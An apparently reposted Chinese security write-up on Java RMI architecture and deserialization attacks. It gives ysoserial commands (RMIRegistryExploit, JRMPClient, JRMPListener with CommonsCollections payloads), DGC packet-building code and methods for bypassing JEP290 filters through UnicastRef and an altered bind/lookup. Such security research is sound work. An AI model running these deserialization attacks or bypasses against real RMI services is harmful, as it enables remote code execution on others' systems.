Java RMI

RMI - 安全篇

RMI分为三个主体部分:

*Client-客户端*:客户端调用服务端的方法

*Server-服务端*:远程调用方法对象的提供者,也是代码真正执行的地方,执行结束会返回给客户端一个方法执行的结果。

*Registry-注册中心*:其实本质就是一个map,相当于是字典一样,用于客户端查询要调用的方法的引用。

总体RMI的调用实现目的就是调用远程机器的类跟调用一个写在自己的本地的类一样。

唯一区别就是RMI服务端提供的方法,被调用的时候该方法是执行在服务端。

*宏观上看,RMI远程调用步骤*

1)客户对象调用客户端辅助对象上的方法;

2)客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象;

3)服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象;

4)调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象;

5)服务端辅助对象将结果打包,发送给客户端辅助对象;

6)客户端辅助对象将返回值解包,返回给客户对象;

7)客户对象获得返回值;

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

详细来看,对于Client来说,他甚至可以不知道有Server的存在,所有他需要的只是一个stub,对于Client来说,调用远程方法就是调用Stub的方法,

从我们一个局外人的角度上看,数据是在Client和Server之间是横向流动的,但是微观上看整个流程必有网络层面的大量的纵向流动,一个请求先从Client发出,交给Stub,走过Transport Layer之后交由Skeleton,最后到Server,Server调用相应方法,然后将结果原路返回,流程如下:

1.Server监听一个端口,此端口由JVM随机选择(这一点在ysoserial中可见);

2.Client对于Server上的远程对象的位置信息(通信地址和端口)一无所知,只知道****向stub发起请求****,而stub中包含了这些信息,并封装了底层网络操作;

3.Client调用Stub上对应的方法;

4.Stub连接到Server监听的通信端口并提交方法的参数;

5.Server上执行具体的方法,并****将结果原路返回给Stub****;

对于Client来说,远程调用的执行结果是Stub给它的,从Client看来就好像是Stub在本地执行了这个方法一样。

*RMI服务端与客户端实现*

*服务端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-server\src\main\java\com\longofo\javarmi\RMIServer.java

package com.longofo.javarmi;

import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
    /**
     * Java RMI 服务端
     *
     * @param args
     */
    public static void main(String[] args) {
        try {
            // 实例化服务端远程对象
            ServicesImpl obj = new ServicesImpl();
            // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
            Registry reg;
            try {
                // 创建Registry
                reg = LocateRegistry.createRegistry(9998);
                System.out.println("Java RMI registry created. port on 9998...");
            } catch (Exception e) {
                System.out.println("Using existing registry");
                reg = LocateRegistry.getRegistry();
            }
            // 绑定远程对象到Registry
            reg.bind("Services", services);
        } catch (RemoteException e) {
            e.printStackTrace();
        } catch (AlreadyBoundException e) {
            e.printStackTrace();
        }
    }
}

关于绑定的地址很多博客会rmi://ip:port/Objectname的形式

实际上看rebind源码就知道rmi:写不写都行。

port如果默认是1099,不写会自动补上,其他端口就必须写

这里就会想一个问题:注册中心跟服务端可以分离么?

个人感觉在分布式环境下是可以分离的,但是网上看到的代码都没见到分离的,以及****官方文档****是这么说的:

出于安全原因,应用程序只能绑定或取消绑定到在同一主机上运行的注册中心。这样可以防止客户端删除或覆盖服务器的远程注册表中的条目。但是,查找操作是任意主机都可以进行的。

那么就是****一般来说注册中心跟服务端是不能分离的****。

*客户端*

E:\beifen\java\rmi-jndi-ldap-jrmp-jmx-jms-master\java-rmi-client\src\main\java\com\longofo\javarmi\RMIClient.java

package com.longofo.javarmi;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    /**
     * Java RMI恶意利用demo
     *
     * @param args
     * @throws Exception
     */
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9998);
        // 获取远程对象的引用
        Services services = (Services) registry.lookup("Services");
//        PublicKnown malicious = new PublicKnown();
//        malicious.setParam("calc");
//        malicious.setMessage("haha");

        // 使用远程对象的引用调用对应的方法
//        System.out.println(services.sendMessage(malicious));
        System.out.println(services.hello());
    }
}

需要使用远程接口(此处是直接引用服务端的类,客户端不知道这个类的源代码也是可以的,重点是包名,类名必须一致,serialVersionUID一致)

Naming.lookup查找远程对象,rmi:可省略

*传输过程*

客户端序列化传输调用函数的输入参数至服务端,服务端返回序列化的执行结果至客户端。

对应的代码是这一句

String ret = hello.hello(“input!gogogogo”);

RMI服务端与客户端readObject其实位置是同一个地方,只是调用栈不同。

*服务端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*客户端开启调试*

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

服务端的rt.jar.sun.rmi.server.UnicastServerRef#dispatch

    // 通过客户端提供的var4去验证客户端想要调用的方法,在这里有没有// ***\*this.hashToMethod_Map\*******\*就是在服务端实现的RMI服务对象的方法\****Method var8 = (Method)this.hashToMethod_Map.get(var4);// 如果没有,var8就为null,报错“想调用的方法在这里不存在”if (var8 == null) {throw new UnmarshalException("unrecognized method hash: method not supported by remote object");

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*this.hashToMethod_Map**就是在服务端实现的RMI服务对象的方法*

这里切了jdk为8u66

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

要想全局搜索生效,还需清下缓存。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

–RMI服务端反序列化攻击RMI注册端

*注册中心代码*

创建一个继承java.rmi.Remote的接口

public interface HelloInterface extends java.rmi.Remote {
  public String sayHello(String from) throws java.rmi.RemoteException;
}

创建注册中心代码

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
 
public class Registry {
  public static void main(String[] args) {try {LocateRegistry.createRegistry(1099);} catch (RemoteException e) {
​      e.printStackTrace();}while (true) ;
  }
}

利用ysoserial.exploit.RMIRegistryExploit即可(在bind(name,payload)这里插入payload)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

触发反序列化操作位置

sun.rmi.registry.*RegistryImpl_Skel#dispatch*(我们可以叫做RMI注册任务分发处,就是注册端处理请求的地方)其实是从sun.rmi.server.*UnicastServerRef#dispatch*(RMI请求分发处)那边过来的。

sun.rmi.registry.RegistryImpl_Skel#dispatch:

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {//一处接口hash验证if (var4 != 4905912898345647071L) {throw new SkeletonMismatchException("interface hash mismatch");} else {//设定变量开始处理请求//var6为RegistryImpl对象,调用的就是这个对象的bind、list等方法RegistryImpl var6 = (RegistryImpl)var1;//接受客户端输入流的参数变量String var7;Remote var8;ObjectInput var10;ObjectInput var11;//var3表示对应的方法值0-4,这个数字是跟RMI客户端约定好的//比如RMI客户端发送bind请求:就是sun.rmi.registry.RegistryImpl_Stub#bind中的这一句//super.ref.newCall(this, operations, 0, 4905912898345647071L);switch(var3) {//统一删除了try等语句case 0://bind(String,Remote)分支
​          var11 = var2.getInputStream();//1.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.bind(var7, var8);case 1://list()分支
​          var2.releaseInputStream();String[] var97 = var6.list();ObjectOutput var98 = var2.getResultStream(true);
​          var98.writeObject(var97);case 2://lookup(String)分支
​          var10 = var2.getInputStream();//2.反序列化触发处
​          var7 = (String)var10.readObject();
​          var8 = var6.lookup(var7);case 3://rebind(String,Remote)分支
​          var11 = var2.getInputStream();//3.反序列化触发处
​          var7 = (String)var11.readObject();
​          var8 = (Remote)var11.readObject();
​          var6.rebind(var7, var8);case 4://unbind(String)分支
​          var10 = var2.getInputStream();//4.反序列化触发处
​          var7 = (String)var10.readObject();
​          var6.unbind(var7);default:throw new UnmarshalException("invalid method number");}}
}

可以得到4个反序列化触发处:lookup、unbind、rebind、bind

4个接口有两类参数,String和Remote类型的Object。

RMI注册端没有任何校验,payload放在Remote参数位置可以攻击成功,放在String参数位置也可以攻击成功。

–RMI注册端反序列化攻击RMI客户端

利用ysoserial.exploit.JRMPListener即可(在高版本jdk下ysoserial的JRMPListener依然可以利用)

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “calc”

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc.exe” (高版本下实测可用)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端代码位置

sun.rmi.registry.RegistryImpl_Stub#lookup

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

90行调用newCall方法创建socket连接,94行序列化lookup参数,104行反序列化返回值,而此时Registry的返回值是CommonsCollections1的调用链,所以这里直接反序列化就会触发。

–RMI客户端反序列化攻击RMI注册端

利用ysoserial.exploit.JRMPClient即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPClient 192.168.189.136 1099 CommonsCollections1 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

sun.rmi.transport.DGCImpl_Skel#dispatch(跟上边的服务端攻击注册端
(sun.rmi.registry.RegistryImpl_Skel#dispatch)不一样,但极其类似)

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
  //一样是一个dispatch用于分发作用的方法
  //固定接口hash校验
  if (var4 != -669196253586618813L) {throw new SkeletonMismatchException("interface hash mismatch");
  } else {DGCImpl var6 = (DGCImpl)var1;ObjID[] var7;long var8;//判断dirty和clean分支流switch(var3) {//***\*clean分支流\****case 0:VMID var39;boolean var40;try {//从客户端提供的输入流取值ObjectInput var14 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var14.readObject();
​          var8 = var14.readLong();
​          var39 = (VMID)var14.readObject();
​          var40 = var14.readBoolean();} catch (IOException var36) {throw new UnmarshalException("error unmarshalling arguments", var36);} catch (ClassNotFoundException var37) {throw new UnmarshalException("error unmarshalling arguments", var37);} finally {
​          var2.releaseInputStream();}//进行clean操作,已经完成了攻击,之后操作已经不重要了。
​        var6.clean(var7, var8, var39, var40);//..省略部分无关操作//***\*dirty方法分支流\****,跟clean在漏洞触发点上是一样的case 1:Lease var10;try {//从客户端提供的输入流取值ObjectInput var13 = var2.getInputStream();//对于取值进行反序列化,***漏洞触发点***
​          var7 = (ObjID[])var13.readObject();
​          var8 = var13.readLong();
​          var10 = (Lease)var13.readObject();} catch (IOException var32) {throw new UnmarshalException("error unmarshalling arguments", var32);} catch (ClassNotFoundException var33) {throw new UnmarshalException("error unmarshalling arguments", var33);} finally {
​          var2.releaseInputStream();}Lease var11 = var6.dirty(var7, var8, var10);//..省略无关操作default:throw new UnmarshalException("invalid method number");}
  }

这个DGC是用于维护服务端中被客户端使用的远程引用才存在的。其中包括两个方法dirty和clean,简单来说:

客户端想要使用服务端上的远程引用,使用dirty方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。

客户端不使用的时候,需要调用clean方法来清除这个远程引用。

由于我们的RMI服务就是基于远程引用的,其底层的远程引用维护就是使用DGC,起一个RMI服务必有DGC层。于是我们就打这个DGC服务。

相对于RMIRegistryExploit模块,这个JRMPClient模块攻击范围更广,因为RMI服务端或者RMI注册端都会开启DGC服务端。

DGCImpl_Skel是服务端代码,DGCImpl_Stub是客户端代码;但是这两个class无法下断点调试(可能是动态生成)。所以在其内部调用的其他方法下断点来调试。

DGC客户端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

DGC服务端处:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

之前RMIRegistryExploit是bind(name,payload)这里插入payload,然后传输到服务端。

*DGC客户端**插入payload的位置*

sun.rmi.transport.DGCImpl_Stub#dirty(clean其实也一样)

public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException {try {//开启了一个连接,似曾相识的 669196253586618813L 在服务端也有RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L);try {//获取连接的输入流ObjectOutput var6 = var5.getOutputStream();//写入一个对象,在实现的本意中,这里是一个ID的对象列表ObjID[]//***这里就是我们payload写入的地方***
​        var6.writeObject(var1);//------
​        var6.writeLong(var2);
​        var6.writeObject(var4);} catch (IOException var20) {throw new MarshalException("error marshalling arguments", var20);}super.ref.invoke(var5);Lease var24;try {ObjectInput var9 = var5.getInputStream();
​        var24 = (Lease)var9.readObject();//省略大量错误处理..
}

针对这种很底层的payload的poc构建通常使用自实现一个客户端去拼接序列化数据包。

ysoserial的JRMP-Client exploit模块就是这么实现的,其核心在于makeDGCCall方法:

// 传入目标RMI注册端(也是DGC服务端)的IP端口,以及攻击载荷的payload对象。
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
  InetSocketAddress isa = new InetSocketAddress(hostname, port);
  Socket s = null;
  DataOutputStream dos = null;
  try {// 建立一个socket通道,并为赋值
​    s = SocketFactory.getDefault().createSocket(hostname, port);
​    s.setKeepAlive(true);
​    s.setTcpNoDelay(true);// 读取socket通道的数据流OutputStream os = s.getOutputStream();
​    dos = new DataOutputStream(os);// *******开始拼接数据流*********// 以下均为特定协议格式常量// 传输魔术字符:0x4a524d49(代表协议)
​    dos.writeInt(TransportConstants.Magic);// 传输协议版本号:2(就是版本号)
​    dos.writeShort(TransportConstants.Version);// 传输协议类型: 0x4c (协议的种类,好像是单向传输数据,不需要TCP的ACK确认)
​    dos.writeByte(TransportConstants.SingleOpProtocol);// 传输指令-RMI call:0x50
​    dos.write(TransportConstants.Call);@SuppressWarnings ( "resource" )final ObjectOutputStream objOut = new MarshalOutputStream(dos);// DGC的固定读取格式
​    objOut.writeLong(2); // DGC
​    objOut.writeInt(0);
​    objOut.writeLong(0);
​    objOut.writeShort(0);// 选取DGC服务端的分支选dirty
​    objOut.writeInt(1); // dirty// 固定的hash值
​    objOut.writeLong(-669196253586618813L);// 我们的payload写入的地方
​    objOut.writeObject(payloadObject);
 
​    os.flush();
  }

*payload触发点**(DGC服务端)*

sun.rmi.transport.DGCImpl_Skel#dispatch

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

*DGC读取格式是固定的*

在sun.rmi.transport.Transport#serviceCall读取了参数之后进行了校验

try {
   id = ObjID.read(call.getInputStream());
 } catch (java.io.IOException e) {
   throw new MarshalException("unable to read objID", e);
 }
 
/* get the remote object */
//该dgcID是一个常量,此处进行了验证
Transport transport = id.equals(dgcID) ? null : this;
//根据读取出来的id里面的[0,0,0](三个都是我们序列化写入的值)分别是:
//1.服务端uid给客户端的远程对象唯一标识编号
//2.远程对象有效时长用的时间戳
//3.用于同一时间申请的统一远程对象的另一个用于区分的随机数
//服务端去查询这三个值的hash,判断当前DGC客户端有没有服务端的远程对象
//就是dirty,clean那一套东西
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));
 
if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

–JEP290修复

在JEP290规范之后,即JAVA版本****6u141, 7u131, 8u121****之后,以上攻击就不奏效了(RMI客户端利用传递参数反序列化攻击RMI服务端不受限制)。

JEP290修复之前,即Java版本6u141、7u131、8u121之前,直接用yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit

JEP290修复之后,即Java版本6u141、7u131、8u121之后,针对于yso中的两个exploit
ysoserial.exploit.JRMPClient

ysoserial.exploit.RMIRegistryExploit
jdk分别做了相关白名单

针对于ysoserial.exploit.JRMPClient
调用栈:
checkInput:409, DGCImpl (sun.rmi.transport)
access 300 : 72 , D G C I m p l ( s u n . r m i . t r a n s p o r t ) l a m b d a 300:72, DGCImpl (sun.rmi.transport) lambda 300:72,DGCImpl(sun.rmi.transport)lambdarun$0:343, DGCImpl$2 (sun.rmi.transport)
checkInput:-1, 1076496284 (sun.rmi.transport.DGCImpl 2 2 2$Lambda$2)
filterCheck:1313, ObjectInputStream (java.io)
readNonProxyDesc:1994, ObjectInputStream (java.io)
readClassDesc:1848, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:90, DGCImpl_Skel (sun.rmi.transport)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.transport.DGCImpl#checkInput()添加白名单
可以看到这里的白名单包括Primitive、ObjID、UID、VMID、Lease等,ysoserial传递的payload对象类型并不在白名单范围中,因此会返回Status.REJECTED导致利用失败。经过后续的查找发现这种利用姿势因为在高版本jdk的严格白名单过滤场景下基本已经没有利用可能了。

针对于ysoserial.exploit.RMIRegistryExploit
调用栈:
registryFilter:427, RegistryImpl (sun.rmi.registry)
checkInput:-1, 523691575 (sun.rmi.registry.RegistryImpl$$Lambda$4)
filterCheck:1313, ObjectInputStream (java.io)
readProxyDesc:1932, ObjectInputStream (java.io)
readClassDesc:1845, ObjectInputStream (java.io)
readOrdinaryObject:2158, ObjectInputStream (java.io)
readObject0:1665, ObjectInputStream (java.io)
readObject:501, ObjectInputStream (java.io)
readObject:459, ObjectInputStream (java.io)
dispatch:91, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:469, UnicastServerRef (sun.rmi.server)
dispatch:301, UnicastServerRef (sun.rmi.server)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

在sun.rmi.registry.RegistryImpl#registryFilter()添加白名单
·前边的sun.rmi.transport.DGCImpl#checkInput()是针对分布式垃圾收集器的
·当前的sun.rmi.registry.RegistryImpl#registryFilter()是针对RMI注册机制的
这两个的过滤白名单是不一样的,也就为后续的绕过埋下了基础。
可以看到相关的白名单有Number、Remote、Proxy、UnicastRef、RMIClientSocketFactory、RMIServerSocketFactory、ActivationID、UID这几个类,而后续的绕过就是其中的UnicastRef。

sun.rmi.transport.DGCImpl#checkInput过滤器:

private static Status checkInput(FilterInfo var0) {//与sun.rmi.registry.RegistryImpl#registryFilter处过滤器完全一致if (dgcFilter != null) {Status var1 = dgcFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > (long)DGC_MAX_DEPTH) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 == null) {return Status.UNDECIDED;} else {while(var2.isArray()) {if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)DGC_MAX_ARRAY_SIZE) {return Status.REJECTED;}
 
​          var2 = var2.getComponentType();}if (var2.isPrimitive()) {return Status.ALLOWED;} else {//4种白名单限制return var2 != ObjID.class &&
​            var2 != UID.class &&
​            var2 != VMID.class &&
​            var2 != Lease.class ? Status.REJECTED : Status.ALLOWED;}}}
  }

sun.rmi.registry.RegistryImpl#registryFilter

private static Status registryFilter(FilterInfo var0) {if (registryFilter != null) {Status var1 = registryFilter.checkInput(var0);if (var1 != Status.UNDECIDED) {return var1;}}if (var0.depth() > 20L) {return Status.REJECTED;} else {Class var2 = var0.serialClass();if (var2 != null) {if (!var2.isArray()) {return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;} else {return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;}} else {return Status.UNDECIDED;}}
}

白名单列表:

String.class

Number.class

Remote.class

Proxy.class

UnicastRef.class

RMIClientSocketFactory.class

RMIServerSocketFactory.class

ActivationID.class

UID.class

*调用栈*

registryFilter:427, RegistryImpl (sun.rmi.registry)

checkInput:-1, 2059904228 (sun.rmi.registry.RegistryImpl$Lambda$2)

filterCheck:1239, ObjectInputStream (java.io)

readProxyDesc:1813, ObjectInputStream (java.io)

readClassDesc:1748, ObjectInputStream (java.io)

readOrdinaryObject:2042, ObjectInputStream (java.io)

readObject0:1573, ObjectInputStream (java.io)

readObject:431, ObjectInputStream (java.io)

dispatch:76, RegistryImpl_Skel (sun.rmi.registry)

oldDispatch:468, UnicastServerRef (sun.rmi.server)

dispatch:300, UnicastServerRef (sun.rmi.server)

run:200, Transport$1 (sun.rmi.transport)

run:197, Transport$1 (sun.rmi.transport)

doPrivileged:-1, AccessController (java.security)

serviceCall:196, Transport (sun.rmi.transport)

handleMessages:573, TCPTransport (sun.rmi.transport.tcp)

run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

run:-1, 714624149 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5)

doPrivileged:-1, AccessController (java.security)

run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)

runWorker:1149, ThreadPoolExecutor (java.util.concurrent)

run:624, ThreadPoolExecutor$Worker (java.util.concurrent)

run:748, Thread (java.lang)

–利用JRMP反序列化绕过JEP290

JEP290默认只为RMI注册表(RMI Register层)和RMI分布式垃圾收集器(DGC层)提供了相应的内置过滤器,但是最底层的JRMP是没有做过滤器的。

*JRMP*

Java远程消息交换协议(Java Remote MessagingProtocol),是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。作为一个Java特有的、适用于Java之间远程调用的基于流的协议,要求客户端和服务器上都使用Java对象。

*JRMP服务端打JRMP客户端*

JRMP是DGC和RMI的底层通讯层,DGC和RMI的最终调用都回到JRMP这一层来(大概是这样)。

利用ysoserial.exploit.JRMPListener即可

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 “calc”

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

客户端:

public class Client {
  public static void main(String[] args) throws Exception{String url = "rmi://127.0.0.1:1099/User";Object a = Naming.lookup(url);User userClient = (User)Naming.lookup(url);

—UnicastRef对象

只能利用ysoserial.exploit.RMIRegistryExploit,ysoserial.exploit.JRMPClient由于白名单限制已不可用。

可参考:

记一次高版本下远程RMI反序列化利用分析 (qq.com)

具体的思路大概是传递一个在白名单中的UnicastRef对象,其中包含序列化的一个RMI主动链接请求,经过上面的registryFilter之后来到反序列化环节解析后会主动发起一个RMI连接从而绕过JEP290。因此这里的利用得用到2个模块:

  1. 生成UnicastRef对象并发送
  2. 起一个JRMPListener来监听端口,等待反序列化后的主动回连

利用JRMP(UnicastRef)
CC6的调用栈:
readObject:297, HashSet (java.util)
readObject:371, ObjectInputStream (java.io)
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:378, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:320, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:156, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)
readObject:455, RemoteObject (java.rmi.server)

关键点:
sun.rmi.registry.RegistryImpl_Skel#dispatch()中的readObject()只是还原恶意UnicastRef对象,而releaseInputStream()才是真正调用此恶意UnicastRef对象发出JRMP请求的

releaseInputStream()调用恶意UnicastRef对象发出JRMP请求
调用栈:
newCall:336, UnicastRef (sun.rmi.server)
dirty:100, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)

bind() + UnicastRef
lookup() + UnicastRef

CheckAccess策略
以jdk8为例,8u141之后,在sun.rmi.registry.RegistryImpl_Skel#dispatch()中,在readObject()之前会有checkAccess()来检查地址
有checkAccess()以后不能再远程bind,即使可以绕过白名单依然会报错。

注册中心时反序列化的点在RegistryImpl_Skel#dispatch(),其中的var3代表客户端发起连接的方法,其中对应的关系为:
·0 -> bind()
·1 -> list()
·2 -> lookup()
·3 -> rebind()
·4 -> unbind()

改造bind()进行绕过

先来看看sun.rmi.registry.RegistryImpl_Skel#dispatch()
关键代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里绕过的关键点首先是参数var3,通过一个switch判断进到不同的case语句中,可以看到在case0/3/4的一开始就会调用checkAccess()检查bind的来源,因此要控制var3的值让它等于case1或case2从而绕过checkAccess()。而var3的值是在调用栈上层的sun.rmi.server.UnicastServerRef#dispatch()中从序列化的数据中用readInt()读出来的,也就是说这个值是可以控制的,这个值在代码注释中的解释是opnum,也就是操作数,根据传入对象的不同来选择不同的处理逻辑。

var3的可控输入点在原始bind(),代码如下:

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看到try之后的第一个语句中的newCall方法,其中第三个参数即是opnum,在原始bind方法中opnum为0,需要将opnum的值设置为1或2。

那么到底是1还是2呢?
其实,调试原本的case0的逻辑可知,readObeject()并不是真正的触发点,只是从输入中反序列化出我们构造的UnicastRef对象,然后进到finally的releaseInputStream()。
因此要进入的case得同时包含readObeject()和releaseInputStream()这两个方法,而符合这个条件的只有case2。
但其实,case2就是对lookup()的处理逻辑,所以只有1个readObeject(),原本的case0是有2个readObeject()的,所以还需要修改writeObeject()的顺序

C:\Users\z\Desktop\tools\yso\ysoserial\src\main\java\ysoserial\exploit\RMIRegistryExploit1_JEP290.java

理解了bind()的改造,lookup()的改造就很简单了,其实就是替换参数类型
在本地重写一个lookup,替换原来的String参数为Obejct

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/659115.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

防火墙技术基础篇:配置主备备份的双机热备

防火墙技术基础篇:配置主备备份的双机热备 防火墙双机热备(High Availability, HA)技术是网络安全中的一个关键组成部分,通过它,我们可以确保网络环境的高可靠性和高可用性。下面我们一起来了解防火墙双机热备的基本原…

第二十三届中国科学家论坛盛大开幕,星医联董事长杨星荣获“十四五”科技创新先锋人物

2024年5月25-26日,第二十三届中国科学家论坛在北京召开,北京星医联科技有限公司(以下简称“星医联”)董事长杨星女士受邀出席并荣获“十四五科技创新先锋人物”称号。同时星医联专利“一种靶向协同降脂的纳米双药制备及应用”荣获…

[CVPR-24] HUGS: Human Gaussian Splats

本文提出一种新的数字人表征Human Gaussian Splats (HUGS),可以实现新姿态和新视角生成;本文提出一种新的前向形变模块(forward deformation module),在标定空间基于Gaussians表征数字人,并基于LBS学习如何…

从 ASCII 到 UTF-8 - Unicode 码的诞生与实现

前言:最近我在整理过往笔记时,发现涉及到了 UTF-8、Unicode 的相关内容,相信大家中的很多人和之前的我一样,在过去的很长一段时间里,并没有搞清楚什么是 Unicode、什么是 UTF-8,于是就有了这篇文章&#xf…

SSL证书:守护个人信息安全的坚固盾牌

在数字化浪潮汹涌的今天,我们的个人信息如同一座座宝藏,吸引着不法分子的贪婪目光。数据泄露事件频发,让信息安全问题日益凸显。而在这个信息爆炸的时代,如何保护我们的个人信息安全,成为了一个亟待解决的问题。幸运的…

【第三节】类的构造和析构函数

目录 一、数据成员的初始化 二、构造函数 2.1 什么是构造函数 2.2 构造函数的注意事项 三、析构函数 四、带参数的构造函数 五、缺省构造函数 六、构造函数初始化列表 七、拷贝构造函数和调用规则 八、深拷贝和浅拷贝 九、总结 一、数据成员的初始化 定义普通变量&am…

java智慧工厂制造生产管理MES系统saas模式Java+ idea+ uniapp全套MES系统源码,多端展示

java智慧工厂制造生产管理MES系统saas模式Java idea uniapp全套MES系统源码,多端展示 MES 系统源码(生产制造执行系统)能够帮助企业实现全生产过程的可视化,数据分析智能化、构建高效智能工厂,MES系统通过控制指令、人…

大气污染溯源算法及其技术实现

污染溯源基础概念知识 大气污染溯源是指识别并追踪污染物的来源及其传输过程,以确定造成大气污染的根本原因和污染物传播路径的技术和方法。这对于制定有效的控制和减轻污染策略至关重要。大气污染的溯源主要涉及以下几个方面: 污染源识别:…

Facebook开户 | 如何检查公共主页的状态

想要了解你的Facebook公共主页的状态吗? Facebook公共主页是让广告主与粉丝互动、传播信息的绝佳平台,但是大家知道如何检查并维护自己的主页状态吗?别担心,Facebook提供了一系列简单易用的工具来帮助大家实现这一目标。 *Page Q…

RedHat9网络配置设计

目录 一、实验目的 二、实验过程 1、配置新网络接口 2、多网卡配置网络 3、网络接口的绑定,进行远程访问 4、配置网络接口的组合 一、实验目的 本次实验的目的是使用nmcli命令工具配置网络,ens160配置多个网卡,进行网络接口的绑定与组合…

